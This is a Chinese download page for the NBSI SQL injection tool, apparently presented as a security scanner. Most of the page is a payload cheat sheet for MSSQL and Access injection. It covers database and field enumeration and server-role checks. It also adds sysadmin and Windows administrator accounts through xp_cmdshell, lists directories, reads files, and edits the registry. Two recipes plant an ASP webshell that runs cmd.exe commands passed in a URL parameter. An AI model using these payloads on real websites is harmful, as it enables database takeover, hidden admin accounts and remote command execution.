nbsi網(wǎng)站漏洞檢測工具綠色專用版v3.0

nbsi是一款非常實用的網(wǎng)站漏洞檢測工具，一套高集成性web安全檢測系統(tǒng)，也叫sql注入工具，它擁有網(wǎng)站掃描、注入分析、掃描及工具、getwebshell等欄目，能夠針對ASP，PHP網(wǎng)站漏洞進(jìn)行安全檢測，從而更好的保護(hù)自己的服務(wù)器不被攻擊，保證其安全。特別在SQLServer注入檢測方面有極高的成功率，是目前最完善的ASP注入漏洞檢測工具。小編給大家?guī)砹?strong>nbsi網(wǎng)站漏洞檢測工具綠色專用版下載，免安裝綠色版軟件，完全免費，除去了繁瑣的安裝操作步驟，給用戶在使用軟件上提供便利，節(jié)省大量時間。軟件體積小巧，占用內(nèi)存小，不卡頓不拖慢程序，運(yùn)行速度快，給用戶提供一個良好優(yōu)質(zhì)的使用體驗，需要的用戶歡迎前來下載使用。

使用說明

1.判斷是否有注入
;and 1=1
;and 1=2
2.初步判斷是否是mssql
;and user>0
3.判斷數(shù)據(jù)庫系統(tǒng)
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
4.注入?yún)?shù)是字符
'and [查詢條件] and ''='
5.搜索時沒過濾參數(shù)的
'and [查詢條件] and '%25'='
6.猜數(shù)據(jù)庫
;and (select count(*) from [數(shù)據(jù)庫名])>0
7.猜字段
;and (select count(字段名) from 數(shù)據(jù)庫名)>0
8.猜字段中記錄長度
;and (select top 1 len(字段名) from 數(shù)據(jù)庫名)>0
9.(1)猜字段的ascii值（access）
;and (select top 1 asc(mid(字段名,1,1)) from 數(shù)據(jù)庫名)>0
(2)猜字段的ascii值（mssql）
;and (select top 1 unicode(substring(字段名,1,1)) from 數(shù)據(jù)庫名)>0
10.測試權(quán)限結(jié)構(gòu)（mssql）
;and 1=(select is_srvrolemember('sysadmin'));--
;and 1=(select is_srvrolemember('serveradmin'));--
;and 1=(select is_srvrolemember('setupadmin'));--
;and 1=(select is_srvrolemember('securityadmin'));--
;and 1=(select is_srvrolemember('diskadmin'));--
;and 1=(select is_srvrolemember('bulkadmin'));--
;and 1=(select is_member('db_owner'));--
11.添加mssql和系統(tǒng)的帳戶
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,
username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin
username;--
;exec master.dbo.xp_cmdshell 'net user username
password /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add'
;--
;exec master.dbo.xp_cmdshell 'net user username
password /add';--
;exec master.dbo.xp_cmdshell 'net localgroup
administrators username /add';--
12.(1)遍歷目錄
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:'
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not
in('上步得到的paths'))>)
(2)遍歷目錄
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 獲得當(dāng)前所有驅(qū)動器
;insert into temp(id) exec master.dbo.xp_subdirs 'c:';-- 獲得子目錄列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:';-- 獲得所有子目錄的目錄樹結(jié)構(gòu)
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:webindex.asp';-- 查看文件的內(nèi)容
13.mssql中的存儲過程
xp_regenumvalues 注冊表根鍵, 子鍵
;exec xp_regenumvalues 'hkey_local_machine',
'softwaremicrosoftwindowscurrentversionrun' 以多個記錄集方式返回所有鍵值
xp_regread 根鍵,子鍵,鍵值名
;exec xp_regread 'hkey_local_machine',
'softwaremicrosoftwindowscurrentversion',
'commonfilesdir' 返回制定鍵的值
xp_regwrite 根鍵,子鍵, 值名, 值類型, 值
值類型有2種reg_sz 表示字符型,reg_dword 表示整型
;exec xp_regwrite 'hkey_local_machine',
'softwaremicrosoftwindowscurrentversion',
'testvaluename','reg_sz','hello' 寫入注冊表
xp_regdeletevalue 根鍵,子鍵,值名
exec xp_regdeletevalue 'hkey_local_machine',
'softwaremicrosoftwindowscurrentversion',
'testvaluename' 刪除某個值
xp_regdeletekey 'hkey_local_machine',
'softwaremicrosoftwindowscurrentversiontestkey' 刪除鍵,包括該鍵下所有值
14.mssql的backup創(chuàng)建webshell
use model
create table cmd(str image);
insert into cmd(str) values ('<% dim oscript %>');
backup database model to disk='c:l.asp';
15.mssql內(nèi)置函數(shù)
;and (select @@version)>0 獲得windows的版本號
;and user_name()='dbo' 判斷當(dāng)前系統(tǒng)的連接用戶是不是sa
;and (select user_name())>0 爆當(dāng)前系統(tǒng)的連接用戶
;and (select db_name())>0 得到當(dāng)前連接的數(shù)據(jù)庫
16.簡潔的webshell
use model
create table cmd(str image);
insert into cmd(str) values ('<%=server.createobject("wscript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%>');
backup database model to disk='g:wwwtestl.asp';
請求的時候，像這樣子用：
http://ip/l.aspc=dir

功能特色

1、專業(yè)程度很高，能夠非常完美的為你檢測到漏洞并消滅它；
2、軟件體積小巧，運(yùn)行起來速度快并且?guī)缀醪徽加檬裁聪到y(tǒng)內(nèi)存；
3、兼容性非常的強(qiáng)大，可以支持電腦系統(tǒng)或者是網(wǎng)站上的漏洞選擇。

注意事項

1、下載文件找到“nbsi.exe”雙擊運(yùn)行，進(jìn)入軟件；
2、系統(tǒng)設(shè)置包括了開始域名、域名的總數(shù)、日志等；
3、cms識別包括了配置、導(dǎo)入域名、導(dǎo)入、當(dāng)前識別、識別的結(jié)果、cms程序等；
4、漏洞掃描包括了導(dǎo)入域名、域名總數(shù)、通用的cms漏洞、通用組件漏洞等；
5、目錄掃描包括了域名，導(dǎo)入、指紋識別、急速掃描、精確掃描等。

更新日志

v3.0
1、修復(fù)http發(fā)包api錯誤問題
2、優(yōu)化字典，刪了10萬無用字典
3、顯示狀態(tài)可是設(shè)置提示那些狀態(tài)碼或者不提示那些狀態(tài)碼